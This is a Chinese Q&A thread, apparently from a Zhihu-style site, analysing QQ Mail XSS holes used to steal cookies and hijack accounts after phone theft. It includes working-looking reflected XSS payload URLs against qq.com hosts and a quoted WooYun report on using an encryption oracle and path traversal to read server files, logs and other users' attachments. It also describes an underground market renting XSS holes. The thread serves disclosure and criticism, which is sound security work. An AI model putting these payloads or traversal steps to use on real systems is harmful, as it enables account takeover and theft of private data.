js 可以跨域得到 cookie？QQ 郵箱被一封郵件黑了？

12-23

手機丟失,黑手機處理者去apple官網重置密碼,然後重置鏈接發送到了失主綁定的qq郵箱,然後騙子給該郵箱發送一封郵件,是一張圖片.

點擊這個鏈接(圖片), (非專業人士請勿點擊)
會在一個get請求裡面將cookie發送到遠程騙子的伺服器,

這樣他們就得到了失主郵箱收到的重置密碼鏈接,完成重置.

這裡不理解的地方是他如何得到"http://qq.com"這個域裡面的cookie的,是在郵件中執行了js,提前保存了cookie?qq郵箱應該沒有這麼大的漏洞吧?
在這個盜取cookie的網站上看到這句話"document.domain="http://qq.com";"
難道是qq mail的api有什麼漏洞,暴露了信息?

好問題。

首先警告一下所有人，題述里這個鏈接，url789這個域名，不要打開，不要打開，不要打開，好奇害死人，手賤丟隱私。

研究了一下，騰訊的山寨程序員沒有做參數檢查，把參數直接拼到 HTML 里去，造成腳本注入漏洞，然後被攻擊者找到了加以利用。

復現的方法很簡單了。

原攻擊方式用的是 POST 提交，我這裡用 GET 也能重現。

我構造一個url，注入一個腳本

alert(document.cookie)

url 如下

http://m.exmail.qq.com/cgi-bin/login?uin=aaaadomain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3Baliastype=other

你只要打開了，會出現一個 alert 框，內容是你在這個域名下的 cookie。

那麼攻擊者不 alert，攻擊者把你的 cookie 發送到他的伺服器上，你的隱私就沒了，他可以隨便進入你的 QQ 郵箱。

奧妙呢就在這裡了。

騰訊的程序員，趕緊的吧，修復漏洞，然後給用戶道歉去吧。

=============

補充一下攻擊者注入的腳本

非常地有想法，當前 frame 地址、頂層 frame 地址、cookie，還用了 try catch 抓異常，不錯不錯，就是用 escape() 略顯山寨，他這裡應該用 encodeURIComponent() 。

==============

更新，騰訊還不只這一個 XSS 漏洞，有其他答主發出來了另一個洞，也被騰訊忽略了。

我估計也只能通過把事情鬧大的方式才能引起騰訊注意了。

QQ郵箱連接存在xss可直接獲取用戶敏感信息

==============

拖了一個月終於給修了，看來事兒還是得鬧大才能解決。

補充說明：漏洞是惡性bug，bug 不一定是漏洞，bug 可以慢慢修，排優先順序，漏洞要第一時間響應。對於已經存在很久，並且已經被惡意利用的漏洞，我們公開討論它可以引起關注，有利於問題的解決。

女神：怎麼給文字加超鏈接？

碼農：像這樣

女神：對，就是這種的，怎麼加？

碼農：就是複製這段代碼就行了：像這樣

女神：我問的就是像這樣的代碼怎麼加！

碼農：就是這麼加啊！像這樣

女神：呵呵

這就是輸出不加轉義的後果

http://linux.im/2015/10/02/qq_mail_xss.html

這個是xss，不是跨域。url參數直接原文在html裡面展示了，導致頁面代碼可以被傳入參數修改。
雖然是做後台開發，但是我幾年前剛入職時也寫過一段時間頁面。我很羞愧地告訴大家，xss、csrf之類的漏洞，我寫出過不下20回。大部分漏洞都被安全平台掃出來了，極少部分發到外網，被發現，留下了心理陰影。就算今天來寫，我也膽戰心驚，怕一不小心就會寫出漏洞。
為什麼？因為騰訊的生產工具太落後了。
騰訊的網站，基本都是cgi裸寫出來的。騰訊網站上的每個頁面，其實都是用printf,cout,或out.print輸出來的，模板引擎之類有性能開銷的東西，騰訊基本是不考慮使用的。那麼多頁面，都是手工拼出來，還要記得每個參數都轉義一下，難免有一兩個參數漏掉了，於是xss漏洞就出來了。
一些人認為騰訊作為大廠，技術還不至於這麼爛吧？其實騰訊崇尚的技術，都是高性能、高並發、大數據、分散式之類的。你要是寫了個模板引擎，說可以提升開發效率，避免xss漏洞，去面試T3估計是難以通過的。
由於分工明確，搞安全的專門搞安全，寫代碼的專門寫代碼，導致很多普通程序員其實是沒有什麼安全知識的。而寫頁面這種低端工作，就是專門交給應屆生等新手來寫的。新手沒有被xss搞過，覺得寫頁面毫無難度，於是漏洞自然就更多了。
由於新手寫出的xss漏洞實在太多，老手寫出的xss也很多，於是安全平台部搞了個安全掃描網站。但是掃描它也得知道頁面有哪些參數，於是安全平台部搞了一個客戶端安裝在各開發同學電腦上，收集訪問過的url，用於安全掃描。但是這種泄漏個人隱私的事情，顯然是得不到程序員的支持的。於是沒有推廣成功。安全平台部又想從開發網路由器上去撈日誌，但是這個路由器是屬於另一個部門的，而且不管是領導還是員工，大家都有訪問敏感網站的需求，於是註定了這條路也不能成功。安全平台部又想從各idc機器上去撈訪問日誌，但是各機器也是屬於不同部門的，註定也很難成功。後來安全平台部發現，漏洞反正都是你們自己的事，於是他也不管了，讓你自己主動去掃描。
我當年的部門還是比較注意安全的，在發布時主動提交url到安全平台進行掃描。安全平台從這個url出發，使用爬蟲技術，把所有的url獲取出來，都掃一下。然而也難免漏網之魚，那些爬不到的，或是爬到的參數不足的，漏洞是不一定能掃出來的。
所以騰訊的網站，漏洞也會有很多的，而且你反饋漏洞給騰訊安全，他們還不一定能立即找到對應的負責人，所以修復漏洞也是要很久的。
===================================================================
個人觀點，不代表任何公司立場。

不知道上面的某位答主提交過漏洞到騰訊沒。
我覺得tsrc對於漏洞應急一直是很高效。不管是審核還是修復

XSS畢竟是代碼執行希望以後rank給高點兒。。。。。

完美的xss，之前在烏雲看到一個關於qq郵箱的xss漏洞，在此貼出

漏洞詳情披露狀態：

2015-10-07：細節已通知廠商並且等待廠商處理中
2015-10-08：廠商已經確認，細節僅向廠商公開
2015-10-18：細節向核心白帽子及相關領域專家公開
2015-10-28：細節向普通白帽子公開
2015-11-07：細節向實習白帽子公開
2015-11-22：細節向公眾公開

簡要描述：

QQ郵箱xss 可以直接打cookie！

詳細說明：

這兩天研究了幾下xss，包括某論壇儲存型xss。發帖測試被騰訊大大給封號處理。本人覺得很不值，作為一個白帽子感覺心情無比沉重。本人Q號：378433756 請求解封 QQ 。

漏洞證明：

http://r.qq.com/cgi-bin/reader_switch?t=1443888848003u=http://games.qq.com/ntgame/rss_ntgame.xml?aaaaa%DF%22;%7D;loadJsFile%28%60http://qq.com//qq.js%60%29;function/**/a%28%29%7B//

修復方案：

無。你們比我懂

還有一個（很奇葩很長很猥瑣的思路）

漏洞詳情披露狀態：

2015-11-27：細節已通知廠商並且等待廠商處理中
2015-11-30：廠商已經確認，細節僅向廠商公開
2015-12-10：細節向核心白帽子及相關領域專家公開
2015-12-20：細節向普通白帽子公開
2015-12-30：細節向實習白帽子公開
2016-01-14：細節向公眾公開

簡要描述：

前些天使用QQ郵箱，看見有一朋友快過生日的提醒，於是給自己發了一個賀卡，結果不知道是哪裡誤操作，導致自己收到了一封「無標題」也無「發件人」的郵件，接著，就開始了下面的旅程。

詳細說明：

1. 首先，是我的誤操作，導致發送了一個「無標題」也沒有發件人的「賀卡」。看來是QQ郵箱後端處理出現問題了，正好當時開著抓包軟體，就開始分析了。

今天已經無法重新這個發「無標題」郵件的操作了，結合後文所述，應該是被修復了。

還好我留了一封，截圖做紀念：

2. 為了找到導致這個BUG的原因，我先將郵件正文替換為aaaa，發現郵件恢復正常，於是局部刪除郵件內容，

最後刪除到只剩下以下內容時，出現了奇怪的情況。

code 區域

/cgi-bin/viewfile?f=13233D0948115D858519BF93BD54FF886202F13BF853330C64A28B5A1AF42AA3BBA42274B655A284D586A6E0A6F8E89A52EB57A9F990FED871606D2C2EA2B9B679646DF7AC74F0AF50FE438B43BA3FD12FD061B11B1B92BEE0AD80C1EC0B5BF38F7D0367D413E52C76E676B9EBBFD13Camp;sid=3"

收到的郵件內容，竟然是下面這個：

我了個去，這是爆路徑了么？

3. 繼續測試，看看這裡是怎麼回事,在f參數末尾再加一些AAAAAA：

code 區域

返回的內容變成了下面的（沒有截圖了）

/data//80/QQ號碼/groupattach/http://postcard201511231423453JSakETkjg1fBARS.jp亂碼亂碼亂碼"

4. 經過分析得知，這裡的 f參數的內容13233D0948115D858519BF93BD54FF886202F13BF853330C64A28B5A1AF42AA3BBA42274B655A284D586A6E0A6F8E89A52EB57A9F990FED871606D2C2EA2B9B679646DF7AC74F0AF50FE438B43BA3FD12FD061B11B1B92BEE0AD80C1EC0B5BF38F7D0367D413E52C76E676B9EBBFD13C 就是/data//80/QQ號碼/groupattach/postcard201511231423453JSakETkjg1fBARS.jpg 加密後的內容，

當我們把末尾加上AAAAAAAA後，伺服器會認為AAAA也是程序的路徑，於是也進行解密，從而得到亂碼。

傳入更長的AAAAA之後，可以發現，每16個A被解碼為8個字元，反之，就是每8個字元為一組進行加密，得到一個16字元的大寫字元串，推測可能是ECB模式的DES加密。

---------------------------------------------------------

5. 如果我們可以得到 ../../../../../../../etc/passwd 的加密串，那麼是不是可以通過viewfile介面下載 passwd文件了呢？

然而，雖然我們可以得到一些密文與明文，但是是不大可能破解這個演算法的。

我們是否可以找到一些介面，傳入一些明文內容，來得到正向的加密串呢？

有意思的是，發現這個問題的同時，我還發現了另外一個「看起來並沒有什麼用的」鏈接。

6. 看到鏈接里那麼一長串大寫字元串時，我就想啊，這個會不會也是同一個加密演算法加密的，於是發一封郵件試一試。

/cgi-bin/viewfile?f=B7F3991201E485FEEE27031F724A14F8B779A0FC4F5792143CB767E2EF4B3DA3BFDB6E7B65D642E9CF5D037A1ADE3492amp;sid=3"

上面鏈接里的一長串就是鏈接里的一長串，

結果發現，果然被成功解密了。

7. 可以看到，B7F3991201E485FEEE27031F724A14F8B779A0FC4F5792143CB767E2EF4B3DA3BFDB6E7B65D642E9CF5D037A1ADE3492 解密後的內容的串是由3部分組成:

QQ號碼收件人@126.com; postcard1448280990

QQ號碼是發信人的，不能改，否則不能正常發送，

收件人這裡，我們是否可控呢？

於是進行以下嘗試，

將一個收件人設置為正常郵箱，另外收件人的郵箱設置為我們所需的路徑字元串。

並且，由於加密是每8個字元進行的，我們需要按照以下的方式來構造收件人：

構造好發件人之後，我們還需要在郵件內容里加上 #{direct_sendcard_url}#，伺服器端會將這個指令，替換為包含收件人加密串的URL，

最終測試成功，我們可以成功得到加密後的串。

code 區域

B7F3991201E485FE2E0014A1553847D07F72928DCFE6A4ECB36E568D8400A4F5B44F4E6E5CB0A4CCBB0CC8200C8C6CEF6367DC612E4BC3B45E8CA3F8B72B32AF702E95FFDCCC8DE300DA7994E641E46D1FA319F6424BF6D8

8. 去掉前面的64個字元，因為前面64個字元是「QQ號碼收件人1號@126.com;//」的加密內容，

去掉末尾的64個字元，末尾的64個字元是「@163.com;postcard1448280990」的加密內容，

於是，得到：

B44F4E6E5CB0A4CCBB0CC8200C8C6CEF6367DC612E4BC3B4

我們訪問：

https://set2.mail.qq.com/cgi-bin/viewfile?f=B44F4E6E5CB0A4CCBB0CC8200C8C6CEF6367DC612E4BC3B4mailid=ZL3127-3JRtOe0Vqil%7EZmYwRRSAB5bsid=XXXXXXXXXX【SID】XXXXXXnet=931323402

9. 既然可以讀/etc/passwd，那麼我們是否可以讀到其它的, 於是，我們還嘗試讀取了 /home/qspace/.bash_history，然而並不存在，試了好幾次，都不存在。

10. 經過測試，我們又發現 rsyncd.conf 也存在，並且裡面存在WEB路徑。

11. 可激動了。。馬上就去試，看看 /home/qspace/QQMail/WEB目錄/cgi-bin/是否存在，然而並不存在。。。

繼續測試，發現/home/qspace/QQMail也不存在。。。

奇怪了。

糾結了許久，發現，前述的介面，發件人的地方，會進行一次小寫的轉換，然後再加密，也就是說，我們最終得到的是 /home/qspace/qqmail 而非 /home/qspace/QQMail

12. 然後呢，我就繼續找其它介面，寄希望於找到一個介面，可以得到允許大寫的路徑，弄了2天，並沒有找到什麼，即使中間找到了一個點，可以生成任意文件名的加密串，與上一個介面不同的是，這個介面是文件名，所以不能包含 / ，但是由於QQMail是6個長度，我們即使得到QQMail的加密串，實際上得到的是 QQMail+2個padding的加密內容，當我們想訪問

/home/qspace/QQMail/WEB目錄的時候，其實我們只能得到

/home/qspace/QQMail【2個0x03的padding】/WEB目錄的加密串，這樣並不能訪問。

13. 今天準備放棄了，就用找到的介面做最後的掙扎，

首先，用收集的已知信息和linux下的常用文件名，路徑名之類的準備一個小字典，只有130多條左右。

然後寫了一個JS腳本，挨個測試 /home/qspace/字典內容是否存在，

前面好像並沒有發現什麼信息，但是直到最後一條的時候，。。。。

/home/qspace/.bash_history 竟然奇蹟般存在了，馬上下載內容回來看看。

14. - -，然後呢，看到了奇葩的一幕，這個管理員登錄到伺服器後，首先查看了伺服器日誌，在日誌里查看IP為10.222.*(這台Mail的IP段)的記錄，接著又開始看錯誤日誌，並且grep了一個QQ號碼。。。並且這個QQ號碼，就是我測試用的小號！！！！

後面還有其它的命令也在grep我的小號。

15. 我推測，應該是我前些天的測試，導致QQ郵箱後端出現了某些BUG？

然後伺服器管理員上來找原因來了？

然後，就留下了.bash_history

16. 他這麼一看，顯然就把日誌的目錄、文件名信息全部暴露給我了。

於是下載了一個運行日誌，和一個錯誤日誌（部分）

/home/qspace/log/********112715.log

/home/qspace/log/error/********112715.log

這裡面存在一些信息，比如：

他人的cookie信息，伺服器重要配置文件的路徑，他人的附件路徑等。

比如我自己測試小號的cookie就在其中，

17. 裡面還會存在一些他人的附件路徑，這些附件路徑中也存在大寫字母，那麼我們是否可以下載別人的附件呢？

比如路徑是這樣的：

/home/qspace/data/webmailcache//179/他人QQ號碼/ZL2303-ROarGPbI~DmvW2o_GOA4I57_Attach/babd406fadb5fc53f2e8e595cddb27e0

和上面說的QQMail有點不一樣的地方是，我們可以將路徑分為3個部分加密：

/home/qspace/data/webmailcache//179/他人QQ號碼/ &<--全部小寫可以得到 ZL2303-ROarGPbI~DmvW2o_GOA4I57_A &<-- 雖然包含大寫，但是32個字元，8的整數倍，可以通過另外一個文件名的介面來加密獲得。 ttach/babd406fadb5fc53f2e8e595cddb27e0 &<--全部小寫可以得到，最終，我們可以得到3個加密串，然後拼接在一起。

code 區域

6529F33AD830402BFB0DF3A711FE868689A7790DD41F8F365B6F15F348D2FBE28548F1183CB3766F1AB41D9FFA578C17FAFDE1B79BE66A492945A1D63EF0A2515B4B7799C164183BBF4D7380C5275D617E03ED2088CAE432C93B82E82F3FCC3F78FEC605301CACC1960BB628A8C55123D6A0E41DFBBD1D0495E3DEE452E92EFB0FCB23BFDEEE2744

用viewfile訪問：

最後可以看到，這個人的附件是一張圖片，是一個可愛的小狗。

18. 最終，我們還是沒能夠拿到cgi的內容，不過過程還是挺有意思的。

漏洞證明：

如上。

修復方案：

1. 整個過程是在發自定義明信片的時候測試的，

具體請求為：https://set2.mail.qq.com/cgi-bin/compose_send?sid=

參數如下圖所示：

這個是會意外解密出路徑的明文的BUG的位置，此外bcc處的收件人允許 ../../之類的

2. 泄漏明文加密的是在上述請求里添加 #{direct_sendcard_url}#，

3. viewfile 這裡解密後的路徑，過濾 ../ 之流，防止跨目錄讀取。

4. 文章還提到一處可以獲取明文加密串的請求是：

https://set2.mail.qq.com/cgi-bin/bottle_opr

自行考慮對文件名參數進行判斷。

前陣子有一個客戶拉我入伙解id行業

就跟他們進去看了一下，看完的第一反應就是市場非常大，大部分小白，xss洞現在每天基本都有，不用擔心斷掉，安卓電腦通用的xss漏洞一天租800,3平台通用一天1000，各種褲子資源的交易各種收徒，賣黑卡賣支付寶，總之現在感覺差不多完整的了，據不可靠消息有個專門查資料庫的以前做這個1個月買了台路虎然後就跑了.......

QQ郵箱連接存在xss可直接獲取用戶敏感信息

都快3個月了還沒修復，iphone 被盜的小夥伴們可以集體索賠么？

並沒有跨域哦，這是csrf配合xss的典型案例。很驚訝QQ郵箱沒有httponly防護嗎？

非常感謝您的報告，該問題其它白帽子已在騰訊安全應急響應中心報告過，我們正在積極修復中。如果您有任何的疑問，歡迎反饋，我們會有專人跟進處理。

這一套產業鏈都有了，騰訊這麼大，再嚴格的安全要求，也還是會出現很多問題。

對於產業鏈，可以看看這個截圖

一個xss介面，1k每天
最近這個群還出現了黑吃黑的事情，真是6666666

利益相關：安全愛好者，從未做過黑產

匿了

xss入門第一課

kankan

可以這麼玩

看到標題挺吸引，進去我就蒙圈了，看不懂。

&新手該怎麼學習xss&

暴走法條君 2016視頻

&像這樣，點擊進入我的主頁&